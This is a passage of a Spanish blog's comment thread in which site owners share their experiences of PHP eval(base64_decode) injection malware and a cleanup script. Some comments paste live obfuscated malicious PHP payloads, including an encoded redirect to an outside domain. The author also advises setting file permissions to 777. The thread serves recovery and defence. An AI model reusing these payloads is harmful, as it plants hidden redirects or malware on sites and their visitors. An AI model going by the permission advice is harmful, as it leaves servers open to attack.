    La semilla puede ser un archivo que alguien te haya subido con un simple upload aprovechando un "agujero de seguridad" en tu aplicación web (es lo menos usual), o bien podía venir ya con un software que instalaste o que venía como complemento o plugin de tu CMS. Sea como sea, una vez que llegan a estar dentro de tu servidor ya la cagaste:

    - para empezar empieza a reproducirse a sí mismo y meterse en cuantos archivos de PHP encuentre por tu arbol de archivos. ¿Para qué? para garantizarse que siempre que llegue un nuevo visitante, visite lo que visite, podrá el virus INTERCEPTAR la respuesta del servidor al navegador (de ahí la primera comprobación que hace el código que has desencriptado: function_exists('ob_start')) y adjuntará en la respuesta un código HTML que va a cargar un javascript en el navegador del visitante, posiblemente para atacar vulnerabilidades de navegador!!
    - además, en cuanto el script se activa (por ejemplo por la visita de un visitante, valga la redundancia) éste -o cualquiera de sus copias- se comunica con otros servidores infectados para pasarse nueva información.
    - por último, se te descarga posiblemente más porquería, entre otras cosas un script que va a hacer las funciones de "shell" a través de navegador para que el atacante HAGA LO QUE QUIERA EN TU SERVIDOR: podrá ejecutar casi cualquier comando... eso ya depende de la configuración de seguridad de tu servidor y de los permisos de archivos.

    En fin,amigos... todo un poema, que no? para ponerse a temblar!
    Lo dicho, si tengo tiempo un día le doy un repaso a ese artículo. Lástima que no tenga un site infectado... tal vez debería infectarlo a propósito... a ver cómo lo limpio... en fin... no sé.

    Sea como sea, si alguno de vosotros consigue avanzar en algo o construir algún nuevo script que me lo cuelgue en un comentario y yo lo publico arriba. La verdad es que el script que yo compartí arriba ya tiene mucho hecho y con cuatro retoques se le puede hacer muchas más cosas fácilmente. Venga anímate estrella! ;)

    Saludos!
    SERGI

    ReplyDelete
  89. Quedo al pendiente para ver el trabajo que puedas hacer, el cual seguro ayudará a cientos de personas... y te agradezco de antemano.

    En mi caso, creo que podría comentar que el código es casi seguro que entró a través de un plugin (o un theme) del Wordpress, ya que -según recuerdo- fue a partir de la actualización de estos, cuando me apareció el eval(base64_decode())...

    Sólo como comentario, los plugins actualizados fueron:
    * Really simple Facebook Twitter share buttons
    * WP to Twitter

    Y estoy tratando de recordar cuáles fueron exactamente los temas actualizados... si es que esto sirve de algo y pueda prevenir a otros usuarios.

    ReplyDelete
  90. Hola que tal chicos.
    Tengo un problema con esto tambien.
    el código que tenía en mi pagina era para que mi sitio fuera redireccionado cuando entraran desde buscadores como google.
    Ya lo quite del archivo configuration.php (uso joomla).
    Pero no sé como buscar en los otros archivos php. O mejor dicho, no sé Qué buscar en los demás archivos..
    El código que tenía es el siguiente:
    ("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsKaWYgKCFzdHJpc3RyKCR1YWcsIk1TSUUgNy4wIikpewppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9taW5rb2Yuc2VsbGNsYXNzaWNzLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQ0KfQ0KfQ0KfQ==")

    Que opinan? Saludos, gracias.

    ReplyDelete
  91. Gracias a ti, Leonardo, por el feedback positivo! :)

    ReplyDelete
  92. hola Sergi, si este archivo me funcionaba te debia alabanza eterna mi amigo pero no funciono....me salia todo en verde not found y nada mas, tenia el index.php del templates del administrator de joomla y ni lo registro, lo saque manualmente....pero me interesaria q me sirva para otros casos q tengo todos igual, y saber como ingresa y si se puede prevenir....ya estoy hasta la madre con esto...

    ReplyDelete
  93. Uau. Perfecto. Funciona.
    Me acabo de dar cuenta que tengo unas diez joomla 1.5 con el puñetero eval(base64.... bien incrustadito en todos los .php.
    Acabo de probar tu script de limpieza en una de ellas y ha funcionado de maravilla.
    Gracias, gracias, gracias y felicidades por el trabajo.
    Voy a dormir más tranquilo... a pesar del curro que me espera mañana (si he entendido bien, además de limpiar hay que encontrar el agujero...)
    En fin, que te debo una birra... o dos!
    Alex

    ReplyDelete
  94. Ya fui infectado el 12-04-2012. En mí caso los archivos infectados han sido los index.php de los primeros 2 niveles de directorios desde www. También apareció infectado el footer.php y default.php.
    Por debajo de los 2 niveles habian otros ficheros index.php que no fueron infectados.
    El reconocimiento lo hice por fecha, pues estaban modificados en una fecha diferente a la de los demás ficheros.
    De alguna manera ese código generaba el troyano blackhole.
    Fué por eso que comencé a investigar.
    La dirección a la apuntaba la función decode era http://botstatisticupdate.com/stat/stat.php

    ReplyDelete
  95. Víctor, gracias por esa información tan específica, es lo que necesitamos para ir configurando un perfil de este tipo de ataques. Me quedo con el dato. Saludos.

    ReplyDelete
  96. Muito Obrigada Deus te Abençoe! Valeu Mesmo, me salvou!!!

    ReplyDelete
  97. Esta en ingles pero si tienen duda escriban a danuxx@gmail.com e intentare ampliar su dudad.

    http://danuxx.blogspot.com/2012/04/dissecting-joomla-malware.html

    ReplyDelete
  98. Mil millones de gracias, me has salvado la vida!!! =)
    Qué gusto que haya gente como tú entre tanta gentuza que se dedica a perder el tiempo en fastidiarle la vida a la gente!!

    ReplyDelete
  99. Gracias a ti @lununcan, y tengo que decirte que a parte de la satisfacción personal que me reporta el poder ayudar a alguien cuando comparto mi código y mi experiencia, creo que es la mejor manera de que avanzemos TODOS.

    Solo cuando podemos (y sabemos) "copiar, pegar y mejorar" avanzamos de verdad en la resolución de los problemas que en el 99% de los casos son comunes a muchos de nosotros. Yo siempre digo que si tienes algún problema de software/hardware busca primero en internet (léase Google) porqué siempre hay alguien que le ha ocurrido lo mismo y antes que a ti! ;)

    En fin, estoy seguro de que poco a poco somos más los que vamos aportando nuestro granito de arena. Para serte sincero, yo leo mucho más de lo que escribo. Este blog en el que apenas publico una vez cada 4 meses es lo poquito que doy después de estar TODOS LOS DÍAS leyendo un montón y aprendiendo de lo que otros escriben. Es como el P2P del software, que no? :)

    Un saludo!

    ReplyDelete
  100. Estoy con el mismo problema! con un cliente nuevo que tiene un servidor dedicado con un montón de webs (100Gb en total), una locura. Todos los index.php infectados de todas las webs, y si una web no tiene index.php y tiene el .html lo infecta con javascript.

    De momento utilizo el script proporcionado para ir limpiando los archivos (MUCHAS GRACIAS) algo es algo, pero se vuelven a reproducir al cabo de unas horas. Y no se como limpiar automáticamente los ficheros html con el javascript, tampoco se muy bien que narices hace el código inyectado pues algunas webs se rompen y no se ven, otras funcionan OK y al mirar la fuente no se ve nada. Menudo mal rollo.

    La semilla, ni idea, son un montón de webs, decenas de miles de visitas AL DIA, por lo que mirar los logs es una locura.

    Tenemos solo un Wordpress en una de las webs, un prestashop y algo hecho a medida con bbdd que aún no sé que és, lo demás son webs "a pelo".

    Seguiremos buscando a ver si saco algo en claro. De momento el scrpit es la salvación.

    ReplyDelete
  101. This comment has been removed by the author.

    ReplyDelete
  102. Hola Cyberdinu... chico, vaya marrón el tuyo con ese servidor! En este otro artículo de hace unos meses analizo una infección como la tuya, que afecta a archivos HTML y javascript, y tal vez te pueda ayudar. Está basado en este (que ya tiene 2 años), pero se concentra en resolver el nuevo caso.

    http://crear-paginas-web.blogspot.mx/2012/04/new-php-injection-attack-and-also-html.html

    Un saludo!
    SERGI

    ReplyDelete
  103. Yo tengo el mismo problema, pero no funciona el script, creo que es porque mi bicho mete un espacio entre el parentesis i el base64_decode.
    Como puedo editar el script?
    Gracias!

    ReplyDelete
  104. Mi codigo es mas raro por que es un echo

    #d93065#
    echo(gzinflate(base64_decode("3VXBbptAEP2VlAOGIqcssLs4hPYQ9Qt6tHxANhMTOcYGihVb+ffODItjJziNKuXSBFu7s7Nv3sy8MVdX/8ffbT2vik3zvUj9pKmeDlmb1W26qcqmbJ42efI8z5r50tm7h2VqLbPqrlzkVgLpdDQOQ6CPwseHscBPADIGNQGpQUtQGuQEVAw6ggiUoB0uAw1K8cnJuQ4hwO8JRIghyTlUvGAfBB6HIBVjx+SG27GACK+DFLSM8TuYQE/qhZgOXnBwTVAChD7zjkPmT2wUUaGQuB/AvJyf1gSPMXFnKMcg4gEWBI1ByKRBcC4q4CLg44PAlOhfguaEMUAXFbcR3dJ8rNkkTXwMJYGvE5Tf1ccnUopJowsedMHQ1p+jjVIIqeAdhzcumjPSE9M0c644U66x5LVSJnf0xAxUYALTwzlgyYndxNwiQqFJT3CrJZdedT2QpoziKBaf2SEyI0WM5B8NyCnwqdxyoOB4gr0YbvvJlm5xPaU+o8eFuqylAZVoTog86Go3HKJr/GUBSRYQGmSf/OCkdLMwoKrQZIj2yIiYpi3slRWYZh1r2yEdlUgl/DwtnjI71VP0Ny318/FKTmi8jHhJZ4x1SWrvIZ5psGP0PoOjPgedP9qa8+ntG3Qczn+AfDvwg6gf/9n7zJ/1iIXn0yN77QXSiIGCxQTB8/V2tEezqT+7rjeronFGMHKTNrVyy7PazEqeC3BaN093xXpR7qatZ62sGb/+tuminP9+zNfN9bzKsyb/ucpp51iLorXcZHudbTb5enG3LFYLZ+tZaDOvyO3u3j3sUkjqdDpLnqv0V1MV6/tknzpO7v5Y3pAvlJWTSKW/pEVSeKlwDw+0AvSo09qrphZU5eOd5fGd/Y0I3Jmzmz7MvgovCtyOuW3ntl3Z9t62l7Zd2zbYNqbj1G5y+828z/8A")));
    #/d93065#

    ReplyDelete
  105. Al ejecutar search_and_replace.php me da el siguiente error:


    Warning: file_get_contents(/homepages/:::/_________/htdocs//___/admin/com/storage/template-cache/editor_fileupload_0bb324d4ec7cd8f3ecb7ec4ac043bd25_tpl.php) [function.file-get-contents]: failed to open stream: Permission denied in /homepages/22/______/htdocs/search_and_replace.php on line 62

    ReplyDelete
  106. ¿Has revisado que no sea un problema de permisos de ese archivo al que se intenta acceder?

    ReplyDelete
  107. thanks for that wonderful work. its 100% working.
    my question is, do you have any way to prevent this?

    ReplyDelete
  108. Hi Anonymous, you're welcome. And, not, i don't have implemented a way to prevent this, neither to detect the infection automatically :(

    ReplyDelete
  109. hola a la fecha 1-de junio del 2012 me pagina se infecto con este bicho!!. Gracias por el script funcion 100%.

    Alguna forma de configuracion para q no vuelva a suceder estas inseguridades???

    ReplyDelete
  110. Hola, una de mis página también se ha infectado.. en mi caso los script funcionaron muy bien.. además luego de buscar un rato encontré la SEMILLA en el archivo 404.php de uno de los themes instalados en el WordPress.

    Gracias por la ayuda!

    Saludos.

    Diego.-

    ReplyDelete
  111. Mil gracias, Salvadosssss

    ReplyDelete
  112. EXcelente!!! Tenia varios sitios infectados y perdí hroas limpiandolos archivo por archivo.. con esto borre todo el código malicioso en segundos!!
    milloens de gracias!

    ReplyDelete
  113. Saludos, les cuento que estuve investigando para poder arreglar este inconveniente con ese desgraciado virus.
    Al descubrir que en otros lugares hablaban sobre la solución y no se veía fácil de realizar, me sentí un poco decepcionado, sin embargo tuve la "brillante idea" (la cual debió haber sido lo primero que debí haber hecho) de contactar al proveedor de servicio de hosting, en mi caso son los del cocodrilo.

    Ellos me tomaron un ticket de soporte y me dijeron que luego se pondrían en contacto.

    Luego encontré tu blog, el cual me pareció muy consolador pues al leerlo todo vi que en los comentarios muchas personas habían logrado resolver el problema. Justo estaba por aplicar tu script con la solución y antes revise el correo, para sorpresa en menos de 1 hora me habían respondido los del cocodrilo dándole solución a mi problema. Mandaron un reporte con los archivos infectados y también un reporte sobre la vulnerabilidad encontrada por la cual habían hackeado el sitio. Me dio mucho gusto saber que ya estaba resuelto y que puedo seguir recibiendo visitas de búsquedas orgánicas. Dejo este comentario para aquellos que sufren de este mismo problema, para que traten de resolver acudiendo a su proveedor de hosting y si no logran resolver, pues para eso están las herramientas que deja SERGI en este excelente post.

    Saludos

    ReplyDelete
  114. jajaja, lo que tú no sabes tal vez Andrés es que los del hosting usan también MIS herramientas, jajaja :P

    Fuera bromas, tienes razón en recordar el valor de la empresa de hospedaje, porqué la experiencia siempre me ha demostrado que hacen lo posible por ayudar. Aunque en este caso, pues no sé qué te habrán hecho a ti, pero me imagino que algo parecido a lo que propongo en el artículo o bien te han restaurado alguna versión antigua (y limpia) de tu site... no sé. Pero en fin, no hay mucho que hacer en estos casos más que limpiar los archivos.

    Lo de la vulnerabilidad ya no lo tengo tan claro. Tal vez te actualizaron el CMS que usas en tu website... Wordpress, Joomla ? o tal vez cambiaron algo de la política de lectura/escritura de los archivos. Aunque si es así, comprueba bien que tu aplicación no se ha "ROTO"... cosas como la subida de archivos desde el administrador de la web, etc...

    Saludos, y siempre me alegra que me sigan leyendo y siempre me reconforta ser útil.

    Salut!!
    SERGI

    ReplyDelete
  115. Les agradezco enormemente a todos los que han aportado soluciones y en especial a ti Usher web. En mi caso he logrado limpiar de momento mis sitios web. Estoy en el proceso de buscar la semilla aunque no tengo muy claro como.
    Hice un registro de los archivos hackeados y borrados. Supongo que podré correr el script cuantas veces crea necesario y así poder
    detectar que archivos se vuelven a infectar y tal vez así encontrar al culpable.
    Por lo que comenta Andres Trejos creo que debí empezar por lo mas sencillo que es abrir un Ticket. Veré si tengo la misma suerte con mi proveedor de hosting y les platicaré mi experiencia.

    Gracias nuevamente a todos!

    Saludos.

    ReplyDelete
  116. En primer lugar felicitar a SERGI por este magnífico trabajo que está realizando, mi más sincera enhorabuena.

    En segundo lugar quiero exponer mi experiencia sobre este hackeo a páginas desarrolladas en php. A las 15:15 horas del 03/07/2012 (tengo este momento clavado en mi corazón) recibo un ataque con este método "eval" a base de código "base64" que consistía en presentar una página en mi index del dominio (de una asociación fotográfica) de un grupo que se hace llamar "DR.HAK.K.S.A" - KINGS OF ARABIA SAUDY" (malditos roedores) de tal forma que en dicha página accedías a sus dominios maliciosos.

    Bien, he llegado a este blog de SERGI despues de (creo) haber solucionado el hackeo. Pero quiero dar mi experiencia con él.

    1º. Estoy trabajando con la web, en cuestión, realizada en wordpress y a la hora y día mencionado me saltael hackeo.

    2º. Lo primero que me doy cuenta, a parte de ver mi dominio con una página hackeada, es que si accedo a usuarios el usuario "admin" había sido sustituido por un usuario nuevo del grupo de hackers y como es natural con permisos de administrador. SI, ha sido un gran error por mi parte el mantener un usuario "ADMIN", pero llevo en la página dos meses y las primeras entradas se han realizado con ADMIN y por no asignarlas a otro usuario, lo dejaba pasar para otro momento.
    SI, mi vulnerabilidad (eso creo) a partido de no suprimir el usuario "admin" !!!. Como es natural, elimino dicho usuario inmediatamente.

    3º Tengo una copia reciente en local de todos los archivos de la página. Sin penesarlo machaco todos los ficheros de mis hosting con la copia que tengo. Bien, parece que funciona.

    4º Compruebo mediante una utilidad que es mi mano derecha: "Total Commander" aquellos ficheros que han cambiado en su fecha de modificación y compruebo horrorizado, que existen dos nuevos ficheros php denominados "nv.php" uno en el raiz del hosting y otro dentro de Themes los cuales contienen dicho código malicioso. Que como es natural los borro inmediatamente.

    Siento no poder aportar información más detallada del contenido de nv.php o de las cabeceras de los archivos que supuestamente hacían llamada al nv.php, pero con mi horror y ansia de destruir lo que me estaba sucediendo no guardé copia de dichos fiecheros.

    Quiero decir, como conclusión, que una de las vulnerabilidades es dejar un usuario "admin" (casi seguro) y que gracias a que en dicho momento me encontraba realizando tareas de mantenimiento de la págnia me pude dar cuenta casi al momento de lo sucedido y poder atajar el problema (eso creo) en el momento.

    Un Saludo de Josean desde Irun.

    ReplyDelete
  117. Jajaja, Josean, cuántos recuerdos de la infancia me han venido a la memoria con eso que has dicho de "malditos roedores".... jejeje, gracias!

    Dicho eso, pues vaya, te agradezco -en nombre de todos- que te hayas tomado el tiempo de relatarnos los detalles de tus "desventuras" ;) creo que es la mejor manera de que unos podamos aprender de los otros.

    Sin embargo, tengo que decir que me sorprende lo que dices del usuario admin... ¿estás sugiriendo que no le cambiaste la contraseña que trae por defecto o le dejaste puesta una contraseña a ese usuario demasiado "fácil" y por eso consiguieron hacerse con la cuenta de usuario? no he acabado de entender qué relación puede tener con las inyecciones PHP.

    Lástima que no conservaras copia de esos archivos "infiltrados" como el nv.php.... no eres el único con estos lapsus... creo que por eso nos atacan tan fácilmente: porque a menudo somos desordenados, pero sobre todo somos "cómodos" y en seguida pensamos "ya lo haré otro día". A veces consigo abrir un documento nuevo y anotar todos los pasos que voy haciendo en tareas "únicas" de este tipo, para después poder repasar los pasos, compartirlos, o volver atrás... pero tengo que admitir que lo hago muy poco :(

    Sea como sea, ha sido un placer tu visita a mi rinconcito en internet y también leer tu comentario.

    Un saludo!!!
    SERGI

    ReplyDelete
  118. Pues sí, Sergi, son unos malditos roedores.
    Como ves en los ataques de pánico no piensas nada más que en salvarte sin pensar en los demás o en uno mismo para futuras amenazas.

    En cuanto al usuario "admin" decirte que es un usuario que se crea por defecto en la instalación de wordpress y que posee dentro de la base de datos el direccionamiento ID=1 por lo que los hackers lo tienen fácil para identificarlo y atacarlo, esto que comento es de lecturas que he realizado sobre el tema de seguridad en wordpress, no porque sea un experto en estas lides.

    Decirte que he visto los movimientos en mi web y he identificado (supuestamente) la IP del ataque, siendo esta: 2.91.205.45 perteneciente a un servidor instalado en Riyadh (Arabia Saudí).

    Un Saludo de Josean.

    ReplyDelete
  119. Me funciono perfecto ahora solo espera un mes para borrar los archivos que ya no me sirven

    ReplyDelete
  120. Estoy intentando solucionarlo pero me da este error:

    Warning: file_get_contents(....) [function.file-get-contents]: failed to open stream: Permission denied in /homepages/37/d416772772/htdocs/search_and_replace.php on line 62

    Y tengo los permisos a 755

    Luego hay carpetas que si me ha creado los _hackedcopy y otros en los que no, no entiedo la causa.

    En cambio otros en los que si corrigio los archivos no funciona la web por este error fatal:

    Fatal error: Cannot redeclare class Woo_AdWidget in ...../includes/widgets/widget-woo-adspace.php_hackedcopy on line 75

    Puedo meter el archivo "search_and_replace.php" en cada carpeta por separado para ejecutarlo??

    Gracias de antemano.

    ReplyDelete
  121. Hola Jesus,

    - lo de los permisos, creo que se debe a que has de ponerlos a 777. No estoy del todo seguro, pero parece que va por ahí, o prueba antes con 775.

    - lo de que se te han creado _hackedcopy solo para algunos archivos y para otros no, puede ser debido también a lo anterior. Es decir, de que hayas tenido permiso o no para escribir nuevos archivos, dependiendo de los permisos del directorio que los contiene. Aunque también debes saber que no se crea el _hackedcopy si el archivo PHP estaba "limpio" (¿puede ser eso?). Es decir, no tiene porqué haber tantos _hackedcopy como archivos PHP haya originalmente ;)

    - lo del error "cannot redeclare class..." parece fácil de entender: fíjate que está en el directorio /includes !!!! desconozco que CMS estés usando, pero posiblemente hace un "include_once" o un "require_once" de TODO lo que tengas en ese directorio!! por esa razón está cargando también los archivos .php_hackedcopy... lo cuál me extraña, porqué no tienen extensión php, pero en fin, parece que es lo que está sucediendo... y por eso cada una de las clases definidas en esos archivos /includes se declaran dos veces!

    - sí, puedes meter el archivo "search_and_replace.php" en cada carpeta por separado ;)

    Espero haberte ayudado, y suerte... yo sé que es poco menos que una pesadilla cuando a uno le ocurren estas cosas... desde entonces también me tomo más en serio lo de las copias de seguridad :)))

    Salud!
    SERGI

    ReplyDelete
    Replies
    1. Gracias es poco lo que puedo darte, después de tal explicación

      Delete
  122. ¿Como se puede encontrar el archivo origen de este virus?
    - Ya lo limpie se vuelve a reproducir y se propaga a las demás carpetas de las otras web.

    ReplyDelete
  123. Tal como expliqué en el artículo y tal como se entiende después de leer muchos de los comentarios que hay arriba, para responder a esa pregunta la única manera es armarse de paciencia e ir decodificando esas inyecciones en base64 para averiguar y entender qué hacen y cuál es su función.

    Si haces eso y desde luego si entiendes algo de PHP (y si no entiendes algo lo buscas en internet) llegarás a entender el cómo y el para qué ese código se extiende por tus carpeas, y sobre todo, desde dónde. Aunque esto puede ser un poco más críptico.

    También alguno de los comentaristas mencionó que si se hace un análisis de las fechas de última modificación de los archivos de tus carpetas puede construirse un "mapa cronológico" en dónde saber cuáles fueron los primeros archivos afectados. Eso posiblemente nos dé una muy buena pista.

    Pero en fin, a este nivel ni yo ni nadie ha desarrollado ningún script para elaborar ese mapa cronológico de modificaciones de archivos infectados. Aunque ahora que lo pienso podría ser sencillo modificando alguno de los que ya tenemos en el ZIP de descarga de este artículo.

    Te animo a que modificando uno de esos nos hagas algo así, y luego nos lo compartas. Con gusto lo revisaré y lo añadiré al archivo de descarga del artículo ;)

    Un saludo!
    SERGI

    ReplyDelete
  124. THANK YOU - THANK YOU - THANK YOU

    ReplyDelete
  125. This comment has been removed by the author.

    ReplyDelete
  126. Saludos

    Solo quería comentar que el archivo para borrar las copias después de un mes funciona muy bien

    GRACIAS por el tiempo dedicado para crear estas soluciones

    ReplyDelete
  127. it is very rare i write any comment on any blog ,but this one i could not resist as it saved my 17 sites on my hosting ,all were infected with the same eval malware script

    thanks buddy ,thanks a lot

    ReplyDelete
  128. No me detecta los archivos con este código:

    eval("\145\166\141\154\050\142\141\163\145\066\064\137\144\145\143\157\144\145\050\163\164\162\162\145\166\050'==QfgsDdphXZgsTKog2c1xmZgszJ+QHcpJ3Yz9CP+Iycq5SMucjLx0SeyVWdxp2Lt92YusmcvdXZtFmcm1SeyVWdxp2LvoDc0RHai0zYyNHI0BXayN2c8cCIvh2YlByegkSKddCVOV0RB9lUFNVVfBFVUh0JbJVRWJVRT9FJABCLnk2cvUGbn92bnxHelRmbhlHfyVWehxGctwVYpRWZt1CXzd3bk5Wa3xHZh9Gbud3bkxHduFmdhxXYjlmcl1WY8h2cvRnbpNWYt9yJog2Y0FWbfdWZyBXIgYiJgkSKddiUFJVRGVkUfBFVUh0JbJVRWJVRT9FJABCLnk2cv0Tc/wVb8h2YyFWZz12LngCajRXYt91ZlJHcgwHfgkSXnQlTFdUQfJVRTV1XQRFVIdyWSVkVSV0UfRCQgwyJpN3LlRne812bvhHfhRGe8N3clxWZyl2d8N3biV2d8BXY3xXZu9mZhR2b2x3aulGbuwFc1xnclN3dvJnYuwFc1x3c1xWZ0xXZslmYv1WL0xnbhlmYtl3c8lnbvNHfl52boBHdyFWbzxXLll2c8Bnchh2c81WZnF2c8VmbvhGc8NHcpxWaoBHfjlmbvNXYuFGc81GbhBHfhl2av5GftMWZuxXYs9mcvR3btxXai9Wb8BXbtxHcklWb8lmbp1mLhJXZw9GfhZXYqxXZtJja8R2bwlGfxFGcpxHZhBXa8VmbvhGcpxXZslmYv1WZpx3Y0hGfl5WahxWZ89WbvN2bkxHdlt2YpJ3Y8xGblNGfx5WZixXeyJXZit2YhxmY892Z05WY2FGfkl2byRmbhxXav1WY8xWZ0F2YsF2LngCajRXYt91ZlJHcgwHfgkSXnQFUFN0QB9FUURFSnslUFZlUFN1XkAEIscSaz9Cbth3KcxWb0hGeuAXY35CZuZ3Lc52bpRXYjlGbwBXY8xWb35CchdnLk5mdvwFd4VGdvcCKoNGdh12XnVmcwhCKgYWa'\051\051\051\073");

    ¿Por que puede ser?


    ReplyDelete
  129. Thanks very much! I had to translate your post on Bing, but I got the main idea and you just saved dozens of my sites! I will post about this in English so I can point more people to your solution.

    Gracias mi Amigo! :-) (Excuse my Spanish!)

    ReplyDelete
  130. You're welcome Trisha Cupra.

    Indeed, precisely a few months ago i wrote just in english instead on spanish. And also is about the same issue (attacks to websites). It may be useful for you (or for someone else) to take a look ;)

    http://crear-paginas-web.blogspot.mx/2012/04/new-php-injection-attack-and-also-html.html

    Cheers, and i'm happy to be of help!
    SERGI

    ReplyDelete
  131. que bueno, fantastico script, andaba buscando por algo asi, lo ideal para mi es que solo identificara los archivos y me dejara borrar el codigo manualmente pero de todas formas es muy util, gracias !!

    ReplyDelete
  132. Hola buen día, me gustaría saber si me puedes ayudar a modificar un poco tu archivo, lo que pasa es que un virus entro y modifico todos los archivos javascript (.js) añadiéndole al final la siguiente línea:

    document.write('');

    La misma línea a sido agregada en todos, ya elimine el virus de mi server, pero volver los archivos a la normalidad me resultará un trabajo laborioso pues se trata de un CMS con más de 250 js y no es sólo un site, éstos 250 js abría que multiplicarlo por 25 o más que son los sites que tengo desarrollados.

    Espero me puedas ayudar.

    Saludos cordiales.

    ReplyDelete
  133. No me dejo poner el código aquí te dejo el link:

    http://codetidy.com/paste/raw/3781

    Saludos.

    ReplyDelete
  134. Hola no sé nada de expresiones regulares pero leyendo un poco he estado adaptando mi caso, quisiera saber si voy bien:

    http://codetidy.com/paste/raw/3787

    Saludos.

    ReplyDelete
  135. Hola Javier, es sorprendente que no paren de sacar innovaciones de la misma mierda, eh... qué increíble, qué baja moral para tocar así los cojones a los demás. Lo increíble es que sean programadores los que se VENDAN de este modo para joder a otros programadores.... en fin, como la vida misma. Yo no sé para qué tanta monitorización de nuestras comunicaciones por parte del estado y estos delitos se tardan tanto en tomarlos en serio y castigarlos ejemplarmente.

    En cuanto a lo que me explicas, ante todo no te asustes por el volúmen de archivos, pues da un poco igual si tienes 250 ó 50 archivos infectados... siempre el trabajo de limpieza es casi el mismo.

    Sí creo que el script que aquí comparto con vosotros te puede servir, pero efectivamente deberías adecuar la expresión regular que se usa para encontrar y limpiar JUSTO ESAS INSERCIONES que tú tienes.

    En este sentido me da un poco de vergüenza decirlo pero soy malíiiiiisimo construyendo expresiones regulares :((( siempre que lo intento me paso horas y después de una y mil pruebas.

    Si quieres mi consejo, deberías pasarte por algún foro técnico tipo stackoverflow.com y preguntar por cómo construir esa expresión regular que necesitas ;) a mí este foro técnico me ha sacado de mil y un problemas parecidos, sin necesidad incluso de escribir, solamente leyendo preguntas y respuestas de otros! la única "pega" es que está en inglés, pero en fin, no necesitas escribir una carta de amor, solo hacer una pregunta amablemente ;)

    Una vez tengas la expresión, mi consejo es que la uses en mi script desactivando los comandos que escriben sobre los archivos, para que simplemente te muestre por pantalla si ya puede o no puede localizar esas expresiones que querías localizar. No dudo de que tengas que hacer varias pruebas hasta que te funcione bien. Y luego ya una vez lo consgias descomentas lo de escribir y a limpiar sea dicho! :)

    Por cierto, para que tus pruebas vayan más rápido te recomiendo que empieces haciéndolas sobre un directorio pequeño en el que tengas pocos archivos obviamente con algunos infectados. Ya una vez que te funcione allí lo pruebas en el site completo antes de darle permisos para cambiar archivos, porqué has de comprobar que no te dé "falsos positivos", es decir que no te vaya a eliminar trozos de javascript que parecen inyecciones pero no lo son!!

    En fin, amigo, tienes trabajo por delante, pero como te dije, no es para tanto... en unas 4 horitas puedes tenerlo hecho... dependiendo de tu habilidad con las expresiones regulares.

    Ah, y por cierto, POR FAVOR, comparte con nosotros cómo te ha ido en caso de que tengas éxito. Por mi parte te agradecería una copia del script tal como te quedó o simplemente de la expresión regular que usaste.

    Saludos, y siento no poder ser de más ayuda.
    SERGI

    ReplyDelete
  136. Hola Sergi, voy a seguir tu consejo voy a entrar a stackoverflow.com, creo que con la expresión regular a mi tomará 4 pero semanitas :)

    Por otro lado te quería pedir un favor si me puedes mandar la porción de código de sólo búsqueda y donde puedo poner una ruta exacta de la carpeta a escanear.

    Saludos y en cuanto tenga la solución la compartiré.

    Encontré esta web:
    http://oscarif.wordpress.com/2009/08/04/eliminacion-automatica-de-iframe-oculto/

    Aquí comparte éste archivo:
    http://busquenoseninternet.com/cleaniframe.zip

    Quizá pueda servirnos.

    ReplyDelete
  137. Javier, la línea de código de mi script en donde se especifica la expresión regular a usar para la búsqueda es la #92:

    $needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';

    Y respondiendo a tu segunda pregunta, para trabajar sobre un directorio específico basta que coloques el script dentro de ese directorio y listo! es decir lo llamas allá dónde lo hayas puesto. Obviamente ha de ser un directorio del servidor accesible desde el navegador ;)

    Suerte!

    ReplyDelete
  138. Por cierto, si quieres usar el script para solo probar si detecta esas inyecciones, es decir, si no quieres que toque ninguno de tus archivos, debes comentar las líneas 66 a 68:

    //$newcode = preg_replace($needle, $replacement, $code);
    //copy($dirname . '/' . $file,$dirname . '/' . $file.'_hackedcopy');
    //file_put_contents($dirname . '/' . $file, $newcode);

    De esta forma el script solamente realizará la búsqueda y mostrará en el navegador de lo que encuentre pero no te tocará ningún archivo ;)

    ReplyDelete
  139. Hola, estoy por aquí nuevamente y muy contento, como se imaginaran es porque logre limpiar mis archivos xD

